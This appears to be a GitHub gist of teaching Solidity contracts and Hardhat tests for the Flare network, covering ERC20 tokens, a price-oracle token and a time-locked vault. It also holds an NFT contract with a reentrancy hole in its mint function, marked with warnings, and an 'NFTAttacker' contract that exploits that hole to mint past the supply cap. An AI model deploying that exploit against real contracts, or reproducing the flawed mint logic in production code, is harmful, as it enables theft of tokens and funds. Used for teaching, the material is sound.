Skip to content

Instantly share code, notes, and snippets.

@jO-Osko
Last active December 26, 2022 22:42
Show Gist options
  • Save jO-Osko/4568a0c4df03f63a9961d8ae528495a3 to your computer and use it in GitHub Desktop.
Save jO-Osko/4568a0c4df03f63a9961d8ae528495a3 to your computer and use it in GitHub Desktop.
Simple solidity contracts
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
// WARNING: This contract is vulnerable to at least one type of commonly known attacks.
// Do not use this code in production.
import { ERC721Enumerable, ERC721 } from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import { IFtso } from "@flarenetwork/flare-periphery-contracts/coston/contracts/userInterfaces/IFtso.sol";
import { IPriceSubmitter } from "@flarenetwork/flare-periphery-contracts/coston/contracts/userInterfaces/IPriceSubmitter.sol";
import { IFtsoRegistry } from "@flarenetwork/flare-periphery-contracts/coston/contracts/userInterfaces/IFtsoRegistry.sol";
contract AttackableSimpleNFT is ERC721Enumerable {
string[14] uidLinks = [
"ipfs://ipfs/bafkreieybi64qgt2nd24ht7e5bkgcfmallurlyqrtufftbzlh65sei4zrq",
"ipfs://ipfs/bafkreigxf6kwo7qq2nds4b4vzqhyy7yj37hkdfkwhs24xy6rayvbf5yfgy",
"ipfs://ipfs/bafkreichupmk6f4uxwvy4izkswlyu3viwlyqaabjwreyd6j3f66tyw33ge",
"ipfs://ipfs/bafkreidruphdcmqb2s5ibympfmuilpuzd64xj3xlu7sruffy2w7hw3oo4u",
"ipfs://ipfs/bafkreiadsbrd4knarjarfmcswxye762h5gcfigdk4xqq4wud2rwhnxttsm",
"ipfs://ipfs/bafkreiat7y3wez6e6autxn73mvjluoxc5gjwzrcjmlrv3outxnm4wdar7m",
"ipfs://ipfs/bafkreieg6xotxyxetew65fg47iy4peu2vsjjr67raxlz5nkm65ebvolrx4",
"ipfs://ipfs/bafkreia3j4oparmlz37kzq5msoix55nz25ucsfgsv5euhuss72vrcmin34",
"ipfs://ipfs/bafkreiawnajxljlztnxyu23hodvysac37seio7scvfwjyb6gqrdomc5gxe",
"ipfs://ipfs/bafkreigvq7766epo3bhpg67oxfuxlofzjt2a6ht2aj2suwdviwezs4l4mq",
"ipfs://ipfs/bafkreigniof2fm2ooeiwomvhachcu2kj74rgz43j4665fcff6tkovmqvs4",
"ipfs://ipfs/bafkreiaqdet3dm2rwpgj4xgi7l2ypefqukanwkeqykajojinuhhbqptpqi",
"ipfs://ipfs/bafkreidejgskxyv6orhpitmq6oxg4meizm6iqeypvx7yymtdbuel7s3itq",
"ipfs://ipfs/bafkreieitl5zfhrwvtnu42gcd5mozuqjcbrrv7vwr2ur7nnxcztmemm4yq"
];
uint256 immutable tokenPrice;
address immutable owner;
uint256 public mintedTokens = 0;
uint256 immutable public maxTokens;
uint256 public currentToken = 0;
mapping (uint256 => uint256) private tokenUidLinkIndex;
constructor(string memory name_, string memory symbol_, uint256 tokenPrice_, uint256 maxTokens_)
ERC721(name_, symbol_)
{
tokenPrice = tokenPrice_;
owner = msg.sender;
maxTokens = maxTokens_;
}
// WARNING: Problematic implementation
function mint() public payable {
require(msg.value >= tokenPrice, "Not enough coins paid");
uint256 tokenId = currentToken + 1;
++currentToken;
tokenUidLinkIndex[tokenId] = uint256(keccak256(abi.encode(getCurrentRandom(), tokenId))) % uidLinks.length;
// Check if we can still mint
require(maxTokens > mintedTokens, "No tokens left");
_safeMint(msg.sender, tokenId);
// Increse the number of minted tokens
++mintedTokens;
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
_requireMinted(tokenId);
return uidLinks[tokenUidLinkIndex[tokenId]];
}
function withdraw() external {
require(msg.sender == owner, "Only owner can withdraw");
payable(owner).transfer(address(this).balance);
}
function getPriceSubmitter() public virtual view returns(IPriceSubmitter) {
return IPriceSubmitter(0x1000000000000000000000000000000000000003);
}
function getCurrentRandom() virtual public view returns(uint256 currentRandom) {
IFtsoRegistry ftsoRegistry = IFtsoRegistry(address(getPriceSubmitter().getFtsoRegistry()));
IFtso ftso = IFtso(ftsoRegistry.getFtso(0));
return ftso.getCurrentRandom();
}
}
contract TestableAttackableSimpleNFT is AttackableSimpleNFT {
address public priceSubmitterAddress;
constructor(string memory name_, string memory symbol_, uint256 tokenPrice_, uint256 maxTokens_)
AttackableSimpleNFT(name_, symbol_, tokenPrice_, maxTokens_)
{
}
function setPriceSubmitter(address _priceSubmitterAddress) external {
priceSubmitterAddress = _priceSubmitterAddress;
}
function getPriceSubmitter() public override view returns(IPriceSubmitter) {
return IPriceSubmitter(priceSubmitterAddress);
}
function getCurrentRandom() public view override returns(uint256 currentRandom) {
return 10;
}
}
import { artifacts, ethers } from 'hardhat'
import { SimpleNFTContract } from '../typechain-types'
const SimpleNFT: SimpleNFTContract = artifacts.require('SimpleNFT')
async function main(){
const [deployer] = await ethers.getSigners();
console.log("Deploying contracts with the account:", deployer.address);
console.log("Account balance:", (await deployer.getBalance()).toString());
const token = await SimpleNFT.new("XKCD Token", "FXKCD", "1000000000000000000", {from: deployer.address});
console.log("Token address:", token.address);
await token.mint({from: deployer.address, value: "1000000000000000000"});
await token.mint({from: deployer.address, value: "1000000000000000000"});
await token.mint({from: deployer.address, value: "1000000000000000000"});
await token.mint({from: deployer.address, value: "1000000000000000000"});
}
main().then(() => process.exit(0))
contract PartOfDynamicToken {
function getTokenPriceWei() public view returns(uint256 natWeiPerToken) {
IFtsoRegistry ftsoRegistry = IFtsoRegistry(address(getPriceSubmitter().getFtsoRegistry()));
(uint256 foreignTokenToUsd,,uint256 foreignTokenFTSODecimals) = ftsoRegistry.getCurrentPriceWithDecimals(foreignTokenSymbol);
(uint256 nativeToUsd,,uint256 nativeTokenFTSODecimals) = ftsoRegistry.getCurrentPriceWithDecimals(nativeTokenSymbol);
natWeiPerToken = (10 ** 18) * foreignTokenToUsd * (10**nativeTokenFTSODecimals) / (nativeToUsd * tokensPerForeignToken * (10 ** decimals) * (10**foreignTokenFTSODecimals));
}
function _mint() private returns(uint256 tokenAmount){
uint256 price = getTokenPriceWei();
tokenAmount = msg.value / price;
uint256 remainder = msg.value - tokenAmount * price;
if(totalSupply + tokenAmount > maxSupply){
revert SupplyCeiling();
}
_balances[msg.sender] += tokenAmount;
totalSupply += tokenAmount;
payable(msg.sender).transfer(remainder);
emit Transfer(address(0), msg.sender, tokenAmount);
}
}
module.exports = [
100_000_00,
"Dynamic Flare token",
"DTOK",
2, // 2 Decimals
"C2FLR",
"testXRP",
12 // 12 token per each
]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import { IERC20Metadata } from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { IFtso } from "@flarenetwork/flare-periphery-contracts/flare/ftso/userInterfaces/IFtso.sol";
import { IPriceSubmitter } from "@flarenetwork/flare-periphery-contracts/flare/ftso/userInterfaces/IPriceSubmitter.sol";
import { IFtsoRegistry } from "@flarenetwork/flare-periphery-contracts/flare/ftso/userInterfaces/IFtsoRegistry.sol";
error InsufficientBalance(uint256 available, uint256 required);
error OnylOwner();
error SupplyCeiling();
contract DynamicTokenFlare is IERC20Metadata {
string public override name;
string public override symbol;
uint8 public override decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public immutable owner;
string public nativeTokenSymbol;
string public foreignTokenSymbol;
uint256 public tokensPerForeignToken;
uint256 public immutable maxSupply;
uint256 public override totalSupply;
modifier onlyOwner(){
if(msg.sender != owner){
revert OnylOwner();
}
_;
}
constructor (
uint256 _maxSupply,
string memory _name,
string memory _symbol,
uint8 _decimals,
string memory _nativeTokenSymbol,
string memory _foreignTokenSymbol,
uint256 _tokensPerForeignToken)
{
name = _name;
symbol = _symbol;
decimals = _decimals;
maxSupply = _maxSupply;
owner = msg.sender;
nativeTokenSymbol = _nativeTokenSymbol;
foreignTokenSymbol = _foreignTokenSymbol;
tokensPerForeignToken = _tokensPerForeignToken;
}
function getPriceSubmitter() public virtual view returns(IPriceSubmitter) {
return IPriceSubmitter(0x1000000000000000000000000000000000000003);
}
function balanceOf(address account)
external
view
override
returns (uint256)
{
return _balances[account];
}
function transfer(address to, uint256 amount)
external
override
returns (bool)
{
if (amount > _balances[msg.sender]) {
revert InsufficientBalance(_balances[msg.sender], amount);
}
_balances[msg.sender] -= amount;
_balances[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}
function allowance(address _owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[_owner][spender];
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) external override returns (bool) {
if (amount > _balances[from]) {
revert InsufficientBalance(_balances[from], amount);
}
if (amount > _allowances[from][msg.sender]) {
revert InsufficientBalance(_allowances[from][msg.sender], amount);
}
_balances[from] -= amount;
_balances[to] += amount;
_allowances[from][msg.sender] -= amount;
emit Transfer(from, to, amount);
return true;
}
function getTokenPriceWei() public view returns(uint256 natWeiPerToken) {
IFtsoRegistry ftsoRegistry = IFtsoRegistry(address(getPriceSubmitter().getFtsoRegistry()));
(uint256 foreignTokenToUsd,,uint256 foreignTokenFTSODecimals) = ftsoRegistry.getCurrentPriceWithDecimals(foreignTokenSymbol);
(uint256 nativeToUsd,,uint256 nativeTokenFTSODecimals) = ftsoRegistry.getCurrentPriceWithDecimals(nativeTokenSymbol);
natWeiPerToken = (10 ** 18) * foreignTokenToUsd * (10**nativeTokenFTSODecimals) / (nativeToUsd * tokensPerForeignToken * (10 ** decimals) * (10**foreignTokenFTSODecimals));
}
function _mint() private returns(uint256 tokenAmount){
uint256 price = getTokenPriceWei();
tokenAmount = msg.value / price;
uint256 remainder = msg.value - tokenAmount * price;
if(totalSupply + tokenAmount > maxSupply){
revert SupplyCeiling();
}
_balances[msg.sender] += tokenAmount;
totalSupply += tokenAmount;
payable(msg.sender).transfer(remainder);
emit Transfer(address(0), msg.sender, tokenAmount);
}
function mint() external payable returns (uint256) {
return _mint();
}
// Forward everything to deposit
receive() external payable {
_mint();
}
fallback() external payable {
_mint();
}
function withdrawFunds() onlyOwner external {
payable(owner).transfer(address(this).balance);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import { IERC20Metadata } from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { IFtso } from "@flarenetwork/flare-periphery-contracts/songbird/ftso/userInterfaces/IFtso.sol";
import { IPriceSubmitter } from "@flarenetwork/flare-periphery-contracts/songbird/ftso/userInterfaces/IPriceSubmitter.sol";
import { IFtsoRegistry } from "@flarenetwork/flare-periphery-contracts/songbird/ftso/userInterfaces/IFtsoRegistry.sol";
error InsufficientBalance(uint256 available, uint256 required);
error OnylOwner();
error SupplyCeiling();
contract DynamicTokenSongbird is IERC20Metadata {
string public override name;
string public override symbol;
uint8 public override decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public immutable owner;
string public nativeTokenSymbol;
string public foreignTokenSymbol;
uint256 public tokensPerForeignToken;
uint256 public immutable maxSupply;
uint256 public override totalSupply;
modifier onlyOwner(){
if(msg.sender != owner){
revert OnylOwner();
}
_;
}
constructor (
uint256 _maxSupply,
string memory _name,
string memory _symbol,
uint8 _decimals,
string memory _nativeTokenSymbol,
string memory _foreignTokenSymbol,
uint256 _tokensPerForeignToken)
{
name = _name;
symbol = _symbol;
decimals = _decimals;
maxSupply = _maxSupply;
owner = msg.sender;
nativeTokenSymbol = _nativeTokenSymbol;
foreignTokenSymbol = _foreignTokenSymbol;
tokensPerForeignToken = _tokensPerForeignToken;
}
function getPriceSubmitter() public virtual view returns(IPriceSubmitter) {
return IPriceSubmitter(0x1000000000000000000000000000000000000003);
}
function balanceOf(address account)
external
view
override
returns (uint256)
{
return _balances[account];
}
function transfer(address to, uint256 amount)
external
override
returns (bool)
{
if (amount > _balances[msg.sender]) {
revert InsufficientBalance(_balances[msg.sender], amount);
}
_balances[msg.sender] -= amount;
_balances[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}
function allowance(address _owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[_owner][spender];
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) external override returns (bool) {
if (amount > _balances[from]) {
revert InsufficientBalance(_balances[from], amount);
}
if (amount > _allowances[from][msg.sender]) {
revert InsufficientBalance(_allowances[from][msg.sender], amount);
}
_balances[from] -= amount;
_balances[to] += amount;
_allowances[from][msg.sender] -= amount;
emit Transfer(from, to, amount);
return true;
}
function getTokenPriceWei() public view returns(uint256 natWeiPerToken) {
IFtsoRegistry ftsoRegistry = IFtsoRegistry(address(getPriceSubmitter().getFtsoRegistry()));
(uint256 foreignTokenToUsd, ) = ftsoRegistry.getCurrentPrice(foreignTokenSymbol);
uint256 foreignTokenFTSODecimals = 5;
(uint256 nativeToUsd, ) = ftsoRegistry.getCurrentPrice(nativeTokenSymbol);
uint256 nativeTokenFTSODecimals = 5;
natWeiPerToken = (10 ** 18) * foreignTokenToUsd * (10**nativeTokenFTSODecimals) / (nativeToUsd * tokensPerForeignToken * (10 ** decimals) * (10**foreignTokenFTSODecimals));
}
function _mint() private returns(uint256 tokenAmount){
uint256 price = getTokenPriceWei();
tokenAmount = msg.value / price;
uint256 remainder = msg.value - tokenAmount * price;
if(totalSupply + tokenAmount > maxSupply){
revert SupplyCeiling();
}
_balances[msg.sender] += tokenAmount;
totalSupply += tokenAmount;
payable(msg.sender).transfer(remainder);
emit Transfer(address(0), msg.sender, tokenAmount);
}
function mint() external payable returns (uint256) {
return _mint();
}
// Forward everything to deposit
receive() external payable {
_mint();
}
fallback() external payable {
_mint();
}
function withdrawFunds() onlyOwner external {
payable(owner).transfer(address(this).balance);
}
}
import { ethers } from 'hardhat';
import { BN } from "bn.js";
import { expect } from 'chai';
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { TestableDynamicTokenFlareContract,
DynamicTokenFlareInstance,
GatewayPriceSubmitterInstance, GatewayPriceSubmitterContract,
MockFtsoRegistryInstance, MockFtsoRegistryContract
} from '../typechain-types/'
const TestableDynamicToken: TestableDynamicTokenFlareContract = artifacts.require("TestableDynamicTokenFlare");
const GatewayPriceSubmitter: GatewayPriceSubmitterContract = artifacts.require("@flarenetwork/flare-periphery-contracts/flare/mockContracts/MockPriceSubmitter.sol:GatewayPriceSubmitter");
const MockFtsoRegistry: MockFtsoRegistryContract = artifacts.require("@flarenetwork/flare-periphery-contracts/flare/mockContracts/MockFtsoRegistry.sol:MockFtsoRegistry");
function bn(n: any){
return new BN(n.toString());
}
describe('Dynamic token', async () => {
let owner: SignerWithAddress
let dynamicToken: DynamicTokenFlareInstance
let priceSubmitter: GatewayPriceSubmitterInstance
let ftsoRegistry: MockFtsoRegistryInstance
beforeEach(async () => {
[owner] = await ethers.getSigners();
const testableToken = await TestableDynamicToken.new(
10000000,
"Dynamic Flare token",
"DTOK",
2, // 2 Decimals
"FLR",
"BTC",
12 // 12 token per each
);
dynamicToken = testableToken;
priceSubmitter = await GatewayPriceSubmitter.new();
ftsoRegistry = await MockFtsoRegistry.new();
await priceSubmitter.setFtsoRegistry(ftsoRegistry.address);
await testableToken.setPriceSubmitter(priceSubmitter.address);
})
describe("Minting", async () => {
beforeEach(async () => {
await ftsoRegistry.setSupportedIndices([0, 1, 2], ["BTC", "FLR", "FLR"]);
})
it("Should mint an amount of tokens", async () => {
await ftsoRegistry.setPriceForSymbol("BTC", 2, 0, 5);
await ftsoRegistry.setPriceForSymbol("FLR", 1, 0, 5);
const before = await dynamicToken.balanceOf(owner.address);
const result = await dynamicToken.mint(
{from: owner.address, value: bn("1065000000000000").add(bn(5).mul(bn(10).pow(bn(18))))}
)
const after = await dynamicToken.balanceOf(owner.address);
expect(
after
).to.equal(bn(3000), "Invalid amount of token transferred");
})
})
})
import { ethers } from 'hardhat';
import { BN } from "bn.js";
import { expect } from 'chai';
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { TestableDynamicTokenSongbirdContract,
DynamicTokenSongbirdInstance,
GatewayPriceSubmitterInstance, GatewayPriceSubmitterContract,
MockFtsoRegistryInstance, MockFtsoRegistryContract
} from '../typechain-types/'
const TestableDynamicToken: TestableDynamicTokenSongbirdContract = artifacts.require("TestableDynamicTokenSongbird");
const GatewayPriceSubmitter: GatewayPriceSubmitterContract = artifacts.require("@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockPriceSubmitter.sol:GatewayPriceSubmitter");
const MockFtsoRegistry: MockFtsoRegistryContract = artifacts.require("@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockFtsoRegistry.sol:MockFtsoRegistry");
function bn(n: any){
return new BN(n.toString());
}
describe('Dynamic token', async () => {
let owner: SignerWithAddress
let dynamicToken: DynamicTokenSongbirdInstance
let priceSubmitter: GatewayPriceSubmitterInstance
let ftsoRegistry: MockFtsoRegistryInstance
beforeEach(async () => {
[owner] = await ethers.getSigners();
const testableToken = await TestableDynamicToken.new(
10000000,
"Dynamic Songbird token",
"DTOK",
2, // 2 Decimals
"SGB",
"BTC",
12 // 12 token per each
);
dynamicToken = testableToken;
priceSubmitter = await GatewayPriceSubmitter.new();
ftsoRegistry = await MockFtsoRegistry.new();
await priceSubmitter.setFtsoRegistry(ftsoRegistry.address);
await testableToken.setPriceSubmitter(priceSubmitter.address);
})
describe("Minting", async () => {
beforeEach(async () => {
await ftsoRegistry.setSupportedIndices([0, 1, 2], ["BTC", "SGB", "FLR"]);
})
it("Should mint an amount of tokens", async () => {
await ftsoRegistry.setPriceForSymbol("BTC", 2, 0);
await ftsoRegistry.setPriceForSymbol("SGB", 1, 0);
const before = await dynamicToken.balanceOf(owner.address);
const result = await dynamicToken.mint(
{from: owner.address, value: bn("1065000000000000").add(bn(5).mul(bn(10).pow(bn(18))))}
)
const after = await dynamicToken.balanceOf(owner.address);
expect(
after
).to.equal(bn(3000), "Invalid amount of token transferred");
})
})
})
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Token is IERC20 {
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
error InsufficientBalance(uint256 available, uint256 required);
contract Token is IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public immutable override totalSupply;
constructor (uint256 initialSupply) {
_balances[msg.sender] = initialSupply;
totalSupply = initialSupply;
emit Transfer(address(0), msg.sender, initialSupply);
}
function balanceOf(address account)
external
view
override
returns (uint256)
{
return _balances[account];
}
function transfer(address to, uint256 amount)
external
override
returns (bool)
{
// Older versions of solidity would need to use string as the error message
// require(_balances[msg.sender] >= amount, "Not enough tokens");
if (amount > _balances[msg.sender]){
revert InsufficientBalance(_balances[msg.sender], amount);
}
_balances[msg.sender] -= amount;
_balances[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) external override returns (bool) {
if (amount > _balances[from]){
revert InsufficientBalance(_balances[from], amount);
}
if (amount > _allowances[from][msg.sender]){
revert InsufficientBalance(_allowances[from][msg.sender], amount);
}
_balances[from] -= amount;
_balances[to] += amount;
_allowances[from][msg.sender] -= amount;
emit Transfer(from, to, amount);
return true;
}
}
contract BetterToken is Token, IERC20Metadata {
string public override name;
string public override symbol;
uint8 public override decimals;
constructor (uint256 initialSupply, string memory _name, string memory _symbol, uint8 _decimals) Token(initialSupply) {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
struct DepositData {
uint256 depositAt;
uint256 amountWei;
}
error TimeLocked(uint256 timeLeft);
error InvalidRecipient();
error NoDeposit();
contract ImprovedVault {
event Deposit(address indexed sender, uint256 amountWei);
event Withdraw(address indexed sender, address indexed target, uint256 amountWei);
event AllowRecipient(address indexed source, address indexed recipient, bool allowed);
mapping (address => mapping(address => uint256)) public allowedRecipients;
mapping (address => uint256[]) public withdrawals;
mapping (address => DepositData) private _deposits;
address public owner;
uint256 public lockTime;
constructor(uint256 _lockTime){
owner = msg.sender;
lockTime = _lockTime;
}
function allowRecipient(address recipient) external {
allowedRecipients[msg.sender][recipient] = 1;
emit AllowRecipient(msg.sender, recipient, true);
}
function disallowRecipient(address recipient) external {
allowedRecipients[msg.sender][recipient] = 0;
emit AllowRecipient(msg.sender, recipient, false);
}
function withdraw(address[] memory targets) external {
DepositData memory userDeposit = _deposits[msg.sender];
if (userDeposit.depositAt == 0) {
revert NoDeposit();
}
if (block.timestamp < userDeposit.depositAt + lockTime) {
revert TimeLocked(userDeposit.depositAt + lockTime - block.timestamp);
}
for(uint256 i = 0; i < targets.length; i++){
if(allowedRecipients[msg.sender][targets[i]] == 0){
revert InvalidRecipient();
}
}
delete _deposits[msg.sender];
if(targets.length == 0){
payable(msg.sender).transfer(userDeposit.amountWei);
emit Withdraw(msg.sender, msg.sender, userDeposit.amountWei);
} else {
uint256 perAddress = userDeposit.amountWei / targets.length;
uint256 remainder = userDeposit.amountWei % targets.length;
for(uint256 i = 0; i < targets.length; i++){
payable(targets[i]).transfer(perAddress);
emit Withdraw(msg.sender, targets[i], perAddress);
}
if(remainder > 0){
payable(msg.sender).transfer(remainder);
emit Withdraw(msg.sender, msg.sender, userDeposit.amountWei);
}
}
withdrawals[msg.sender].push(block.timestamp);
}
function deposit() public payable {
DepositData memory existingDeposit = _deposits[msg.sender];
// If the user has already deposited, we need to add the new amount to the existing deposit
// Otherwise, we just create a new deposit
// Since everything is zero-initialized, we treat a deposit of 0 as a non-existing deposit
// If the users updates their deposit, the lock time is reset
_deposits[msg.sender] = DepositData(
block.timestamp,
existingDeposit.amountWei + msg.value
);
emit Deposit(msg.sender, msg.value);
}
// Forward everything to deposit
receive() external payable {
deposit();
}
fallback() external payable {
deposit();
}
}
import { ethers } from 'hardhat';
import { BN } from "bn.js";
import { expect } from 'chai';
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
const { time, expectEvent } = require("@openzeppelin/test-helpers");
import { ImprovedVaultInstance } from '../typechain-types/'
const ImprovedVault = artifacts.require('ImprovedVault')
function bn(n: any){
return new BN(n.toString());
}
const timeLock = 1000
async function calcGasCost(result: Truffle.TransactionResponse<any>) {
let tr = await web3.eth.getTransaction(result.tx);
let txCost = bn(result.receipt.gasUsed).mul(bn(tr.gasPrice));
return txCost;
};
describe('ImprovedVault', async () => {
let improvedVault: ImprovedVaultInstance
let owner: SignerWithAddress
let secondAccount: SignerWithAddress
beforeEach(async () => {
[owner, secondAccount] = await ethers.getSigners();
improvedVault = await ImprovedVault.new(timeLock);
})
describe("Sending", async () => {
it("Should deposit and emit event", async () => {
const balanceBefore = bn(await web3.eth.getBalance(owner.address));
const tx = await improvedVault.deposit({from: owner.address, value: 123});
await expectEvent(tx, "Deposit", {sender: owner.address, amountWei: bn(123)});
const balanceAfter = bn(await web3.eth.getBalance(owner.address));
// Balance must change
expect(balanceBefore).to.greaterThan(balanceAfter);
expect(balanceBefore).to.equal(
balanceAfter.add(bn(123)).add(await calcGasCost(tx))
);
})
})
describe("Withdraw", async () => {
it("Should deposit and withdraw after enough time to owner address", async () => {
const balanceBefore = bn(await web3.eth.getBalance(owner.address));
const txDeposit = await improvedVault.deposit({from: owner.address, value: 123});
const balanceAfter = bn(await web3.eth.getBalance(owner.address));
// Balance must change
expect(balanceBefore).to.greaterThan(balanceAfter);
expect(balanceBefore).to.equal(
balanceAfter.add(bn(123)).add(await calcGasCost(txDeposit))
);
await time.increase(timeLock + 2);
const txWithdraw = await improvedVault.withdraw([],{from: owner.address});
const balanceAfterWithdraw = bn(await web3.eth.getBalance(owner.address));
// Should have the same amount minus gas costs
expect(balanceBefore).to.equal(
(balanceAfterWithdraw).add(await calcGasCost(txDeposit)).add(await calcGasCost(txWithdraw))
);
})
it("Should deposit and withdraw after enough time to multiple addresses", async () => {
await improvedVault.deposit({from: owner.address, value: 123});
await time.increase(timeLock + 2);
await improvedVault.allowRecipient(secondAccount.address,{from: owner.address});
const balanceBefore = bn(await web3.eth.getBalance(secondAccount.address));
await improvedVault.withdraw([secondAccount.address],{from: owner.address});
const balanceAfter = bn(await web3.eth.getBalance(secondAccount.address));
// Should have the same amount minus gas costs
expect(balanceBefore).to.equal(
(balanceAfter).sub(bn(123))
);
})
})
})
contract Token is IERC20 {
function totalSupply() external view override returns (uint256) {}
function balanceOf(address account)
external
view
override
returns (uint256)
{}
function transfer(address to, uint256 amount)
external
override
returns (bool)
{}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{}
function transferFrom(
address from,
address to,
uint256 amount
) external override returns (bool) {}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
contract MyToken {
string public constant name = "MyToken";
string public constant symbol = "MTK";
uint256 public totalSupply;
address public owner;
constructor(uint256 _totalSupply, address _owner) {
totalSupply = _totalSupply;
owner = _owner;
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import { IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import { AttackableSimpleNFT } from "./AttackableNFTToken.sol";
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract NFTAttacker is IERC721Receiver {
uint256 public mintTarget = 0;
uint256 public tokenPrice = 1 ether;
uint256 counter = 0;
address immutable owner;
constructor() {
owner = msg.sender;
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
++counter;
if(mintTarget > 0){
--mintTarget;
AttackableSimpleNFT(msg.sender).mint{value:tokenPrice}();
}
return this.onERC721Received.selector;
}
function startAttack(address nftAddress) public {
require(msg.sender == owner, "Only owner can start attack");
AttackableSimpleNFT(nftAddress).mint{value:tokenPrice}();
}
function resetMintTarget(uint256 newTarget, uint256 newTokenPrice) public {
require(msg.sender == owner, "Only owner can reset mint target");
mintTarget = newTarget;
tokenPrice = newTokenPrice;
}
// Allow transfer of tokens
fallback() payable external{}
receive() payable external{}
function drainFunds() public {
require(msg.sender == owner, "Only owner can drain funds");
payable(msg.sender).transfer(address(this).balance);
}
// Take tokens out of the contract
function transferTo(IERC721 token, address to, uint256 tokenId) public {
token.transferFrom(address(this), to, tokenId);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
// OpenZeppelin: https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/171fa40bc8819c0393bab8e70778cf63bf08fb07/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
it.only('Should revert on error', async () => {
const [_, addr1] = await ethers.getSigners();
expect(
token.transfer(addr1.address, totalSupply.add(bn(10)), { from: owner.address })
).to.be.reverted;
})
const [owner] = await ethers.getSigners();
const totalSupply = bn(10).pow(bn(19));
const myToken = await MyToken.new(totalSupply, owner.address, {from: owner.address});
expect(
await myToken.totalSupply()
).to.equal(totalSupply, "Invalid total supply");
expect(
await myToken.owner()
).to.equal(owner.address, "Invalid owner");
contract MyToken {
string public constant name = "MyToken";
string public constant symbol = "MTK";
uint256 public totalSupply;
address public owner;
constructor(uint256 _totalSupply, address _owner) {
totalSupply = _totalSupply;
owner = _owner;
}
}
constructor(uint256 _totalSupply, address _owner) {
totalSupply = _totalSupply;
owner = _owner;
}
// Add this line before the contract definition
error InsufficientBalance(uint256 available, uint256 required);
contract Token {
// Part of the code is hidden
